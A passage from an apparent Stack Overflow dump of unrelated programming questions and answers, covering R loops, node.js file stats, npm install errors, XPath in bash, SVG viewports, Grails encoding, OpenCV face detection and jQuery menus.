sapply(seq(1,ncol(x.weights),2), function(i) { apply(x.weights[,c(i, i+1)], 1, sum, na.rm=T) }) denominator &lt;- sapply(seq(1,ncol(weights),2), function(i) { apply(weights[,c(i, i+1)], 1, sum, na.rm=T) }) weighted.x &lt;- numerator/denominator for(i in 1: (ncol(x)/2)) { for(j in 1: nrow(x) ) { if( is.na(x[j,(1 + (i-1)*2)]) &amp; !is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = sum(c(x[j,(1 + ((i-1)*2))], x[j,(1 + ((i-1)*2 + 1))]), na.rm = TRUE) if(!is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = sum(c(x[j,(1 + ((i-1)*2))], x[j,(1 + ((i-1)*2 + 1))]), na.rm = TRUE) if( is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = NA } } return(weighted.x) } fn.2.output &lt;- fn.2(x, weights) fn.2.output &lt;- as.data.frame(fn.2.output) names(fn.2.output) &lt;- paste('X', 1:(n.cols/2), sep = "") ######################################################################################### # nested for-loops with 2 if statements fn.3 &lt;- function(x, weights){ for(i in 1: (ncol(x)/2)) { for(j in 1: nrow(x)) { if( is.na(x[j,(1 + (i-1)*2)]) &amp; !is.na(x[j,(1 + (i-1)*2 + 1)])) x[j,(1 + (i-1)*2 + 0)] = (x[j,(1 + ((i-1)*2 + 1))] / weights[j,(1 + ((i-1)*2 + 1))]) * weights[j,(1 + (i-1)*2 + 0)] if(!is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) x[j,(1 + (i-1)*2 + 1)] = (x[j,(1 + ((i-1)*2 + 0))] / weights[j,(1 + ((i-1)*2 + 0))]) * weights[j,(1 + (i-1)*2 + 1)] } } x.weights = x * weights numerator &lt;- sapply(seq(1,ncol(x.weights),2), function(i) { apply(x.weights[,c(i, i+1)], 1, sum, na.rm=T) }) denominator &lt;- sapply(seq(1,ncol(weights),2), function(i) { apply(weights[,c(i, i+1)], 1, sum, na.rm=T) }) weighted.x &lt;- numerator/denominator for(i in 1: (ncol(x)/2)) { for(j in 1: nrow(x) ) { if( is.na(x[j,(1 + (i-1)*2)]) &amp; !is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = sum(c(x[j,(1 + ((i-1)*2))], x[j,(1 + ((i-1)*2 + 1))]), na.rm = TRUE) if(!is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = sum(c(x[j,(1 + ((i-1)*2))], x[j,(1 + ((i-1)*2 + 1))]), na.rm = TRUE) if( is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = NA } } return(weighted.x) } fn.3.output &lt;- fn.3(x, weights) fn.3.output &lt;- as.data.frame(fn.3.output) names(fn.3.output) &lt;- paste('X', 1:(n.cols/2), sep = "") ######################################################################################### # my reshape solution fn.4 &lt;- function(x, weights){ new.x &lt;- reshape(x , direction="long", varying = list(seq(1,(n.cols-1),2), seq(2,n.cols,2)), v.names = c("v1", "v2")) wt &lt;- reshape(weights, direction="long", varying = list(seq(1,(n.cols-1),2), seq(2,n.cols,2)), v.names = c("w1", "w2")) new.x$v1 &lt;- ifelse(is.na(new.x$v1), (new.x$v2 / wt$w2) * wt$w1, new.x$v1) new.x$v2 &lt;- ifelse(is.na(new.x$v2), (new.x$v1 / wt$w1) * wt$w2, new.x$v2) x2 &lt;- reshape(new.x, direction="wide", varying = list(seq(1,3,2), seq(2,4,2)), v.names = c("v1", "v2")) x &lt;- x2[,2:(n.cols+1)] x.weights = x * weights numerator &lt;- sapply(seq(1,ncol(x.weights),2), function(i) { apply(x.weights[,c(i, i+1)], 1, sum, na.rm=T) }) denominator &lt;- sapply(seq(1,ncol(weights),2), function(i) { apply(weights[,c(i, i+1)], 1, sum, na.rm=T) }) weighted.x &lt;- numerator/denominator for(i in 1: (ncol(x)/2)) { for(j in 1: nrow(x) ) { if( is.na(x[j,(1 + (i-1)*2)]) &amp; !is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = sum(c(x[j,(1 + ((i-1)*2))], x[j,(1 + ((i-1)*2 + 1))]), na.rm = TRUE) if(!is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = sum(c(x[j,(1 + ((i-1)*2))], x[j,(1 + ((i-1)*2 + 1))]), na.rm = TRUE) if( is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) weighted.x[j,i] = NA } } return(weighted.x) } fn.4.output &lt;- fn.4(x, weights) fn.4.output &lt;- as.data.frame(fn.4.output) names(fn.4.output) &lt;- paste('X', 1:(n.cols/2), sep = "") ######################################################################################### rownames(fn.1.output) &lt;- NULL rownames(fn.2.output) &lt;- NULL rownames(fn.3.output) &lt;- NULL rownames(fn.4.output) &lt;- NULL all.equal(fn.1.output, fn.2.output) all.equal(fn.1.output, fn.3.output) all.equal(fn.1.output, fn.4.output) all.equal(fn.2.output, fn.3.output) all.equal(fn.2.output, fn.4.output) all.equal(fn.3.output, fn.4.output) library(microbenchmark) microbenchmark(fn.1(x, weights), fn.2(x, weights), fn.3(x, weights), fn.4(x, weights), times=20) ######################################################################################### </code></pre>
15164620	0	 <p>Instead of trying to parse the output of <code>ls</code>, <a href="http://mywiki.wooledge.org/ParsingLs" rel="nofollow">which is bad</a>, you should simply use file system operation provided by node.js. Using file system operations you can be sure your program will work in (almost) any edge case as the output is well defined. It will even work in case the folder will contain more or less files than three in the future!</p> <p>As you stated in the comments that you want the names and date / time of the files from a folder. So let us have a look at:</p> <p><a href="http://nodejs.org/api/fs.html#fs_fs_readdir_path_callback" rel="nofollow"><code>fs.readdir(path, callback)</code></a>: <code>fs.readdir</code> will give you an array of filenames in the folder specified in path. You can pass them to <code>fs.stat</code> to find out the mtime:</p> <p><a href="http://nodejs.org/api/fs.html#fs_fs_fstat_fd_callback" rel="nofollow"><code>fs.stat(path, callback)</code></a>: <code>fs.stat()</code> will give you an object of <a href="http://nodejs.org/api/fs.html#fs_class_fs_stats" rel="nofollow"><code>fs.Stats</code></a> which contains the mtime in the <code>mtime</code> property.</p> <p>So your code will look something like this afterwards:</p> <pre><code>fs.readdir('dir', function (err, files) { for (var i = 0; i &lt; files.length; i++) { (function () { var filename = files[i] fs.stat('dir/' + filename, function (err, stats) { console.log(filename + " was last changed on " + stats.mtime); }); })(); } }); </code></pre> <p>The output is:</p> <pre><code>[timwolla@~/test]node test.js 5 was last changed on Fri Mar 01 2013 20:24:35 GMT+0100 (CET) 4 was last changed on Fri Mar 01 2013 20:24:34 GMT+0100 (CET) 2 was last changed on Fri Mar 01 2013 20:24:33 GMT+0100 (CET) </code></pre> <p>In case you need a return value use the respective <code>Sync</code>-versions of these methods. These, however, will block your node.js eventing loop.</p>
40420033	0	polymer init bash: polymer: command not found <p>Install git. Install the latest version of Bower. npm install -g bower npm install -g polymer-cli install these one but polymer init bash: polymer: command not found i am trying so many times but not resolve this error please solve this error $ npm install -g polymer-cli npm WARN deprecated minimatch@2.0.10: Please update to minimatch 3.0.2 or higher to avoid a RegExp DoS issue npm WARN deprecated minimatch@0.2.14: Please update to minimatch 3.0.2 or higher to avoid a RegExp DoS issue npm WARN deprecated graceful-fs@1.2.3: graceful-fs v3.0.0 and before will fail o n node releases >= v7.0. Please update to graceful-fs@^4.0.0 as soon as possible . Use 'npm ls graceful-fs' to find it in the tree. npm WARN deprecated lodash@1.0.2: lodash@&lt;3.0.0 is no longer maintained. Upgrade to lodash@^4.0.0. C:\Users\Haresh\AppData\Roaming\npm `-- (empty)</p> <p>npm ERR! Windows_NT 6.1.7601 npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Program Files\nodejs\ node_modules\npm\bin\npm-cli.js" "install" "-g" "polymer-cli" npm ERR! node v6.9.1 npm ERR! npm v3.10.8 npm ERR! path C:\Users\Haresh\AppData\Roaming\npm\node_modules\polymer-cli npm ERR! code EPERM npm ERR! errno -4048 npm ERR! syscall rename</p> <p>npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\Haresh\AppData\ Roaming\npm\node_modules\polymer-cli' -> 'C:\Users\Haresh\AppData\Roaming\npm\no de_modules.polymer-cli.DELETE' npm ERR! at moveAway (C:\Program Files\nodejs\node_modules\npm\lib\install\a ction\finalize.js:38:5) npm ERR! at destStatted (C:\Program Files\nodejs\node_modules\npm\lib\instal l\action\finalize.js:27:7) npm ERR! at FSReqWrap.oncomplete (fs.js:123:15) npm ERR! npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\Haresh\AppData\ Roaming\npm\node_modules\polymer-cli' -> 'C:\Users\Haresh\AppData\Roaming\npm\no de_modules.polymer-cli.DELETE' npm ERR! at Error (native) npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\Haresh\AppData \Roaming\npm\node_modules\polymer-cli' -> 'C:\Users\Haresh\AppData\Roaming\npm\n ode_modules.polymer-cli.DELETE' npm ERR! at moveAway (C:\Program Files\nodejs\node_modules\npm\lib\install\a ction\finalize.js:38:5) npm ERR! at destStatted (C:\Program Files\nodejs\node_modules\npm\lib\instal l\action\finalize.js:27:7) npm ERR! at FSReqWrap.oncomplete (fs.js:123:15) npm ERR! npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\Haresh\AppData\ Roaming\npm\node_modules\polymer-cli' -> 'C:\Users\Haresh\AppData\Roaming\npm\no de_modules.polymer-cli.DELETE' npm ERR! at Error (native) npm ERR! npm ERR! Please try running this command again as root/Administrator.</p> <p>npm ERR! Please include the following file with any support request: npm ERR! C:\Users\Haresh\npm-debug.log npm ERR! code 1</p>
33297381	0	 <p>Maybe this is what you're trying to do:</p> <pre><code>def finalFuture(): Future[Option[(A1, Option[B1])]] = for ( o1 &lt;- outerFuture(); o2 &lt;- o1 match { case Some(a) =&gt; innerFuture(a.id).map(b =&gt; Some(a, b)) case _ =&gt; Future(None) } ) yield o2 </code></pre>
37072931	0	Getting HTML elements via XPath in bash <p>I was trying to parse a page (<a href="http://www.kaggle.com/competitions" rel="nofollow">Kaggle Competitions</a>) with <code>xpath</code> on MacOS as described in <a href="http://stackoverflow.com/questions/4984689/bash-xhtml-parsing-using-xpath">another</a> SO question:</p> <pre><code>curl "https://www.kaggle.com/competitions/search?SearchVisibility=AllCompetitions&amp;ShowActive=true&amp;ShowCompleted=true&amp;ShowProspect=true&amp;ShowOpenToAll=true&amp;ShowPrivate=true&amp;ShowLimited=true&amp;DeadlineColumnSort=Descending" -o competitions.html cat competitions.html | xpath '//*[@id="competitions-table"]/tbody/tr[205]/td[1]/div/a/@href' </code></pre> <p>That's just getting a <code>href</code> of a link in a table.</p> <p>But instead of returning the value, <code>xpath</code> starts validating <code>.html</code> and returns errors like <code>undefined entity at line 89, column 13, byte 2964</code>.</p> <p>Since <code>man xpath</code> doesn't exist and <code>xpath --help</code> ends with nothing, I'm stuck. Also, many similar solutions relate to <code>xpath</code> from GNU distributions, not in MacOS.</p> <p>Is there a correct way of getting HTML elements via XPath in bash?</p>
36919165	0	 <p>You're only calling <code>receiveBytes</code> once, so that's why you only get one answer.</p> <p>To receive the multiple individual answers you'll need to call <code>receiveBytes</code> repeatedly, and most likely implement a timeout after which you give up waiting for any more responses to be received (since you can't know apriori how many there'll be).</p>
23684202	0	 <p>Here's a function that works for Chrome, Safari, and Firefox. See the test page here:</p> <h3>Test Page: <a href="http://phrogz.net/SVG/CalculateSVGViewport.html" rel="nofollow">http://phrogz.net/SVG/CalculateSVGViewport.html</a></h3> <pre class="lang-js prettyprint-override"><code>// Given an &lt;svg&gt; element, returns an object with the visible bounds // expressed in local viewBox units, e.g. // { x:-50, y:-50, width:100, height:100 } function calculateViewport(svg){ // http://phrogz.net/JS/_ReuseLicense.txt var style = getComputedStyle(svg), owidth = parseInt(style.width,10), oheight = parseInt(style.height,10), aspect = svg.preserveAspectRatio.baseVal, viewBox = svg.viewBox.baseVal, width = viewBox &amp;&amp; viewBox.width || owidth, height = viewBox &amp;&amp; viewBox.height || oheight, x = viewBox ? viewBox.x : 0, y = viewBox ? viewBox.y : 0; if (!width || !height || !owidth || !oheight) return; if (aspect.align==aspect.SVG_PRESERVEASPECTRATIO_NONE || !viewBox || !viewBox.height){ return {x:x,y:y,width:width,height:height}; }else{ var inRatio = viewBox.width / viewBox.height, outRatio = owidth / oheight; var meetFlag = aspect.meetOrSlice != aspect.SVG_MEETORSLICE_SLICE; var fillAxis = outRatio&gt;inRatio ? (meetFlag?'y':'x') : (meetFlag?'x':'y'); if (fillAxis=='x'){ height = width/outRatio; var diff = viewBox.height - height; switch (aspect.align){ case aspect.SVG_PRESERVEASPECTRATIO_UNKNOWN: case aspect.SVG_PRESERVEASPECTRATIO_XMINYMID: case aspect.SVG_PRESERVEASPECTRATIO_XMIDYMID: case aspect.SVG_PRESERVEASPECTRATIO_XMAXYMID: y += diff/2; break; case aspect.SVG_PRESERVEASPECTRATIO_XMINYMAX: case aspect.SVG_PRESERVEASPECTRATIO_XMIDYMAX: case aspect.SVG_PRESERVEASPECTRATIO_XMAXYMAX: y += diff; break; } } else{ width = height*outRatio; var diff = viewBox.width - width; switch (aspect.align){ case aspect.SVG_PRESERVEASPECTRATIO_UNKNOWN: case aspect.SVG_PRESERVEASPECTRATIO_XMIDYMIN: case aspect.SVG_PRESERVEASPECTRATIO_XMIDYMID: case aspect.SVG_PRESERVEASPECTRATIO_XMIDYMAX: x += diff/2; break; case aspect.SVG_PRESERVEASPECTRATIO_XMAXYMID: case aspect.SVG_PRESERVEASPECTRATIO_XMAXYMIN: case aspect.SVG_PRESERVEASPECTRATIO_XMAXYMAX: x += diff; break; } } return {x:x,y:y,width:width,height:height}; } } </code></pre>
37062987	0	 <p>I don't think that what you are asking for is possible, mainly because I do not think televisions have that kind of ability. I recommend you visit Android and/or LG forums to see if there is something better, for this site is mainly used for programming issues.</p>
4728492	0	 <p>This is not going to be fun to debug. i suggest a google search like this one to maybe find an exsiting bug report dealing with this:</p> <p><a href="http://www.google.com/search?rlz=1C1ASUT_enUS401US401&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=glTexSubImage2D1+core+dump#sclient=psy&amp;hl=en&amp;rlz=1C1ASUT_enUS401US401&amp;source=hp&amp;q=glTexSubImage2D+core+dump&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=f478bdfafcb0c911" rel="nofollow">http://www.google.com/search?rlz=1C1ASUT_enUS401US401&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=glTexSubImage2D1+core+dump#sclient=psy&amp;hl=en&amp;rlz=1C1ASUT_enUS401US401&amp;source=hp&amp;q=glTexSubImage2D+core+dump&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=f478bdfafcb0c911</a></p>
14347509	0	 <p>So I came up with a different solution. Instead of trying to save an array, I just saved the post ID which would allow me access to the title of the post as well as the permalink.</p> <p>This is my modified code</p> <pre><code>&lt;select name="pastor_select"&gt; &lt;?php $args = array( 'post_type' =&gt; 'employee', 'position' =&gt; 'pastor' ); $pastorList = new WP_Query($args); while ($pastorList-&gt;have_posts()) : $pastorList-&gt;the_post(); $employeeID = get_the_ID(); // THIS FIXED THE PROBLEM $is_selected = ($employeeID == $selected) ? 'selected="selected"' : ''; echo '&lt;option value="'.$employeeID.'" '.$is_selected.'&gt;'.get_the_title().'&lt;/option&gt;'; endwhile; wp_reset_postdata(); ?&gt; &lt;/select&gt; </code></pre> <p>And this is how I am calling it on the front end</p> <pre><code>&lt;?php $id = $post_meta_data['pastor_select'][0]; echo '&lt;a href="'.get_permalink($id).'"&gt;'; echo get_the_title($id); echo '&lt;/a&gt;'; ?&gt; </code></pre>
36472256	0	How to set the child control size inside ellipse when resize wpf <p>I am creating a user control which has a shape (a curved line) inside a circle. I used ellipse control to create the circle.how to keep the size of the shape inside the ellipse when resize? </p>
11672334	0	save special character in Database using Grails <pre><code>new Trainingcamp(name:"Höhentraining", region:"Alpen").save() tr1 = Trainingcamp.findByName("Höhentraining") tr2 = Trainingcamp.findByRegion("Alpen") println("Tr1: " + tr1?.name) println("Tr2: " + tr2?.name) </code></pre> <p>Output on console is:</p> <pre><code>Tr1: Tr2: H?hentraining </code></pre> <p>So it seems to me that by saving the domainobject something happens that replaces the Special character "ö" with a questionmark "?". How do I get rid of this problem? Thanks in advanced!</p> <p>Using Grails 1.3.7</p> <p>__edit1: I started the application with prod run-app and then checked the pordDb.log. I found the following insert:</p> <pre><code>INSERT INTO TRAININGCAMP VALUES('H\ufffdhentraining','Alpen') </code></pre> <p>No matter I write an "ö" or "ü or "ä" it allways replace it with "\ufffd" So, any suggestions to solve this problem?</p> <p>__edit2: New insight: The Problem only occur when I save the domain in BootStrap.groovy. By saving the domain in a controller the output on the console is as expected:</p> <pre><code>Tr2: Höhentraining </code></pre>
35500216	0	 <pre><code> YourListView.setOnItemClickListener(new ListView.OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; a, View v, int pos, long l) { try { Toast.makeText(this,"Position is===&gt;&gt;"+pos , Toast.LENGTH_LONG).show(); } catch(Exception e) { System.out.println("Nay, cannot get the selected index"); } } }); </code></pre> <p>Hope it helps.</p>
13840495	0	mysql - combining 2 tables with different condition <p>Here i have 2 tables user and userStore</p> <pre><code>user Table ╔════╦══════╦════════╦═══════════╗ ║ ID ║ NAME ║ ROLE ║ STORECODE ║ ╠════╬══════╬════════╬═══════════╣ ║ 1 ║ A ║ Admin ║ ║ ║ 2 ║ B ║ Store ║ 1 ║ ║ 3 ║ C ║ Store ║ ║ ║ 4 ║ D ║ Client ║ ║ ║ 5 ║ E ║ Staff ║ ║ ╚════╩══════╩════════╩═══════════╝ userStore Table ╔════╦══════════╗ ║ ID ║ CATEGORY ║ ╠════╬══════════╣ ║ 1 ║ X ║ ║ 2 ║ X ║ ╚════╩══════════╝ Output ╔════╦══════╦════════╦═══════════╦══════════╗ ║ ID ║ NAME ║ ROLE ║ STORECODE ║ CATEGORY ║ ╠════╬══════╬════════╬═══════════╬══════════╣ ║ 1 ║ A ║ Admin ║ ║ ║ ║ 2 ║ B ║ Store ║ 1 ║ X ║ ║ 4 ║ D ║ Client ║ ║ ║ ║ 5 ║ E ║ Staff ║ ║ ║ ╚════╩══════╩════════╩═══════════╩══════════╝ </code></pre> <p>I want to fetch all the rows from user table with the role other than store. And wanted to include the store role only if it have match in the userstore table. In the output you can see that the id=3 is not available since it doesn't have match from user store.</p>
6270977	0	 <pre><code>&lt;script type="text/javascript"&gt; function pageLoad() { window.document.getElementById('__EVENTARGUMENT').value = ''; } &lt;/script&gt; </code></pre>
39160340	0	 <p>yes better way is change textbox in razor view @Html.TextboxFor bind automaticaly or other way is you can add</p> <pre><code>[HttpPost] public ActionResult AddtopoOrderList(string Qty, string ProductName, string Description, string Price, string Amount) { POdb.poOrderList.Add(new PO_OrderList { Qty = Convert.ToInt32(Qty), ProductName = ProductName, Description = Description, UnitPrice = Convert.ToInt16(UnitPrice), Amount = Convert.ToInt16(Amount) }); POdb.SaveChanges(); return RedirectToAction("Index"); } </code></pre> <p>pls give parameter name same as textbox name you given then its work fines</p>
5867844	0	Change letter case in jEditable input fields <p>I would like to change case (all caps or capitalize first letter of sentence) when editing field in place with <a href="http://www.appelsiini.net/projects/jeditable/" rel="nofollow">jEditable</a> plugin. My code looks similar to this:</p> <pre><code>$(".edit").editable("some/url/", { type : 'text', submitdata: { _method: "put" }, select : true, event : "dblclick", submit : 'OK', cancel : 'cancel', id : 'edititem', name : 'newvalue' }); </code></pre> <p>I would like to add <code>onkeyup</code> function to my input fields, something like <code>onkeyup="javascript:this.value=this.value.toUpperCase()"</code> but I'm really not sure how to do that... Maybe there is some other way to achieve this??</p> <p>Thanks for any help!</p>
28928833	0	 <p>You can apply multiple style to a string in Textview by using following method :</p> <pre><code>TextView textView = (TextView) findViewById(R.id.tvText); String strFirst = "Text1"; String strSecond = "Text2"; Spannable spanTxt = new SpannableString(strFirst+strSecond); </code></pre> <p>// Set the custom typeface to span over a section of the spannable object</p> <pre><code>spanTxt.setSpan( new CustomTypefaceSpan("sans-serif",CUSTOM_TYPEFACE),0, strFirst.length(), Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); spanTxt.setSpan(new CustomTypefaceSpan("sansserif",SECOND_CUSTOM_TYPEFACE), strFirst.length(), strFirst.length() + strSecond.length(), Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); </code></pre> <p>// Set the text of a textView with the spannable object</p> <pre><code>textView.setText( spanTxt ); </code></pre> <p>Enjoy !</p>
32504887	0	 <p>You can try this:</p> <pre><code>$(function () { $('.radio')[0].nextSibling.data = 'Screen Printing' }); </code></pre> <p><a href="http://jsfiddle.net/palash/xb1kv06g/2/" rel="nofollow"><strong>FIDDLE DEMO</strong></a></p>
15021826	0	Metasearch rails gem multiple time search by field <p>I have such code of searching (with metasearch rails gem):</p> <pre><code>@pre_oils = Oil.search({:manufacturer_like =&gt; params[:oilbrand], :description_like =&gt; params[:oiloiliness], :description_like =&gt; params[:oilstructure], :capacity_eq =&gt; params[:oilsize]}) </code></pre> <p>But i must to search via description with like on two params: oiloiliness, oilstructure... In some cases i could have first, but didn'r have oilstructure or have oilstructure but didn't have oiloiliness...</p> <p>if i leave</p> <pre><code>@pre_oils = Oil.search({:manufacturer_like =&gt; params[:oilbrand], :description_like =&gt; params[:oiloiliness], :capacity_eq =&gt; params[:oilsize]}) </code></pre> <p>all is ok</p> <p>Now it is not searching via oiloiliness, but why ? How to do it? How to search via both fields?</p>
16127648	0	 <p>I don't know of an existing algorithm that's really suited to this task. The obvious alternative is to write roughly the code above, but as a generic algorithm:</p> <pre><code>template &lt;class InIter1, class InIter2, class OutIter&gt; OutIter unsorted_merge(InIter1 b1, Inter1 e1, inIter2 b2, OutIter r) { while (b1 != e1) { *r = *b1; ++r; ++b1; *r = *b2; ++r; ++b2; } return r; }; </code></pre> <p>Even though <em>that</em> code may not be particularly elegant or beautiful, the rest of the code can be:</p> <pre><code>unsorted_merge(p.begin(), p.end(), q.begin(), std::back_inserter(pq)); </code></pre>
18754795	0	 <p>The convention for REST is that we use HttpMethods for CRUD operations selection:</p> <ul> <li>GET - Read opeation (list and GetById)</li> <li>POST - Insertion</li> <li><strong>PUT</strong> - Udpating</li> <li>DELETE - Deletion</li> </ul> <p>The detailed description: <a href="http://www.asp.net/web-api/overview/creating-web-apis/creating-a-web-api-that-supports-crud-operations" rel="nofollow">Creating a Web API that Supports CRUD Operations</a> </p> <p>And then with a very default Routing setting (see more here: <a href="http://www.asp.net/web-api/overview/web-api-routing-and-actions/routing-in-aspnet-web-api" rel="nofollow">Routing in ASP.NET Web API</a> )</p> <pre><code>routes.MapHttpRoute( name: "API Default", routeTemplate: "api/{controller}/{id}", // the Director as controller defaults: new { id = RouteParameter.Optional } ); </code></pre> <p>So, we've just instructed the Web API infrastructure, that if there is method:</p> <pre><code>[HttpPost] public void InsertDirector(Director director) ... </code></pre> <p>It will be used for creation, and the HttpMethod used must be <code>POST</code> and </p> <pre><code>//[HttpPost] [HttpPut] // !! Attention, here is the difference public void UpdateDirector(Director director)... </code></pre> <p>the <code>UpdateDirector</code> will be called if the HttpMethod is <code>PUT</code></p> <p><em>NOTE: because during the update we do have the ID of existing product, the Update method should look like:</em></p> <pre><code>// the id parameter is a convention as well, // to be sure that we are updating existing item // so this would be better public void UpdateDirector(int id, Director director)... </code></pre>
39155598	0	What is the best way to represent constant in YAML? <p>I writing a framework where we represent code in YAML and on the fly it will get converted to Java code.</p> <p>What is the best way to represent java function in YAML? </p> <pre><code>Configuration: - name1: "a" - name2: computeName() </code></pre> <p>While parsing YAML, I should be able to parse <code>"a"</code> as string and <code>computeName()</code> as function.</p> <p>I am looking for best practice so that it will be intuitive and easy for user write YAML.</p>
12289216	0	 <pre><code>$('a[id]').closest('li').addClass('active'); </code></pre> <p><a href="http://jsfiddle.net/zZ2D4/" rel="nofollow">demo</a></p>
14291674	0	 <p><strong>LISTEN TO YOUR ERRORS!</strong></p> <p>I don't mean to sound rude, but the problem is up on a soapbox outside your open window with a loudspeaker:</p> <blockquote> <p>res\drawable-xhdpi\video-unhover.png: Invalid file name: must contain only [a-z0-9_.]</p> </blockquote> <p><strong>must contain only [a-z0-9_.]</strong>, This tells you that only lower case characters <code>a</code> through <code>z</code>, numbers <code>0</code> through <code>9</code>, the <code>_</code> and <code>.</code> characters are allowed in XML filenames. Your filename has a hyphen <code>-</code> in it. </p>
20057156	0	Java AI for 2D game <p>Im creating a 2D game. Where the hero moves in a map. Where there are walls which the hero obviously cant go through. And i have enemies that are simple AI. So far the AI just move in random directions. The next step would be introducing another mode for the AI where he knows the hero position and chase him. I know how i calculate the distance betweeen the enemy and the hero. And the angle the enemy need to move to intersect with the hero. But then im stuck and dont known how to make it move in that specific direction. I would really appriciate answers!</p> <p>Thx!!!</p>
22665951	0	Why is NullReferenceException being returned when trying to add an object to my cache? <p>This is an asp.net-mvc application and I am trying to add an object, specifically a list of user objects to the cache. I feel like I'm missing a key concept or component when it comes to caching data, so any help would be greatly appreciated. </p> <pre><code> var cache = new Cache(); cache["Users"] = users; </code></pre> <p>The second line throw's "Object reference not set to an instance of an object. The users variable is not null, I'm certain I'm not creating or using the cache correctly, but cannot find any information in MSDN or SO regarding the right way to set up a cache. What's my mistake?</p>
20075028	0	Garbage collector going crazy <p>I have just noticed that because of one action(that i am trying to find out) virtual machine stucked few times(looks like Garbage Collector stopped the world). Normally small GC takes 0.05 second and suddently something happened, i can see in logs that it increased to even 15 seconds per one small GC. Virtual Machine was unstable for about 10 minutes.</p> <p>Is there any way to find out the cause in source code(except asking users what they were doing in that moment)?</p> <p>Virtual Machine is run in dedicated machine(Linux OS) and i have got access to it only remotely. Total memory used by the process is 6 gb(in the stable moment) so it takes a lot of time to create memory snapshot</p>
17651719	0	 <p>Try this:</p> <pre><code>#/bin/bash maxcount=`read wc -l file1 file2 file3 | sort -h -r | sed -rn '2s/^ *([0-9]+).*/\1/'` exec 4&lt;file1 exec 5&lt;file2 exec 6&lt;file3 while [ $maxcount -gt 0 ]; do read -a f1&lt;&amp;4 read -a f2&lt;&amp;5 read -a f3&lt;&amp;6 echo ${f1[0]},${f1[1]},${f2[0]},${f2[1]},${f3[0]},${f3[1]} ((maxcount--)) done exec 4&lt;&amp;- exec 5&lt;&amp;- exec 6&lt;&amp;- </code></pre> <p>I have hard-coded max columns for each file as 2. However, if that varies, you can get max column for each file &amp; run a loop with <code>echo -n ${f1[$i]}</code></p>
39788580	0	 <p>Try following code:</p> <pre><code>function SetOneplusyearminus1date() { debugger; var start = Xrm.Page.getAttribute("msdyn_startdate").getValue(); if (start != null) { start.setDate(start.getDate() - 1); start.setYear(start.getFullYear() + 1); Xrm.Page.getAttribute("msdyn_enddate").setValue(start); } } </code></pre>
36242860	1	Attribute error while using opencv for face recognition <p>I am teaching myself how to use openCV by writing a simple face recognition program I found on youtube. I have installed opencv version 2 as well as numpy 1.8.0. I am using python2.7.</p> <p>I copyed this code exactly how it was done in the video and article links below, yet I keep getting errors. AttributeError: 'module' object has no attribute 'cv' What am I doing wrong?</p> <p>Here is the code I'm using.</p> <pre><code>import cv2 import sys # Get user supplied values imagePath = sys.argv[1] cascPath = sys.argv[2] # Create the haar cascade faceCascade = cv2.CascadeClassifier(cascPath) # Read the image image = cv2.imread(imagePath) gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # Detect faces in the image faces = (faceCascade.detectMultiScale( gray, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30), flags = cv2.cv.CV_HAAR_SCALE_IMAGE) ) print "Found {0} faces!".format(len(faces)) # Draw a rectangle around the faces for (x, y, w, h) in faces: cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2) cv2.imshow("Faces found", image) cv2.waitKey(0) </code></pre> <p><a href="https://www.youtube.com/watch?v=IiMIKKOfjqE" rel="nofollow">https://www.youtube.com/watch?v=IiMIKKOfjqE</a></p> <p><a href="https://realpython.com/blog/python/face-recognition-with-python/" rel="nofollow">https://realpython.com/blog/python/face-recognition-with-python/</a></p>
8358207	0	 <p>You can match any non-(letters, digits, and underscores) characters with <code>\W</code>.</p> <p>So to check the password if has any special character you can just simply use:</p> <pre><code>if (password.match(/\W/)) { alert('you have at least one special character'); } </code></pre> <p>to use it in your function you can replace the whole regex with:</p> <pre><code>var passwordPattern = /^[\w\W]*\W[\w\W]*$/; </code></pre> <p>that will return true if the string has at least one special character.</p>
21873610	0	jquery.touchwipe.cycle slider NOT WORKING for WINDOWS PHONE TOUCH SWIPE <p>we have used jquery.touchwipe.cycle JQuery in our site for image slider. Though the touch swipe works fine in iPhone, it does not work in windows phone (lumia 520 | windows 8)</p>
23419903	0	 <p>Just add this line:</p> <pre><code>$('[class^=menu]').hide('fadeIn'); </code></pre> <p>Like this:</p> <pre><code>$(document).ready(function () { //hide all dropdown menus $("#pageHeadings div[class^=menu]").hide(); $("#pageHeadings div[id^=heading]").click(function () { // $(this).find('[class^=menu]').hide(); if (!$(this).find('[class^=menu]').is(":visible")) { $('[class^=menu]').hide('fadeIn'); $(this).find('[class^=menu]').slideToggle("fast"); } }); }); </code></pre> <p>That will hide all others before toggling the current one.</p> <p><a href="http://jsfiddle.net/YGQ83/7/" rel="nofollow"><strong>Demo</strong></a></p>
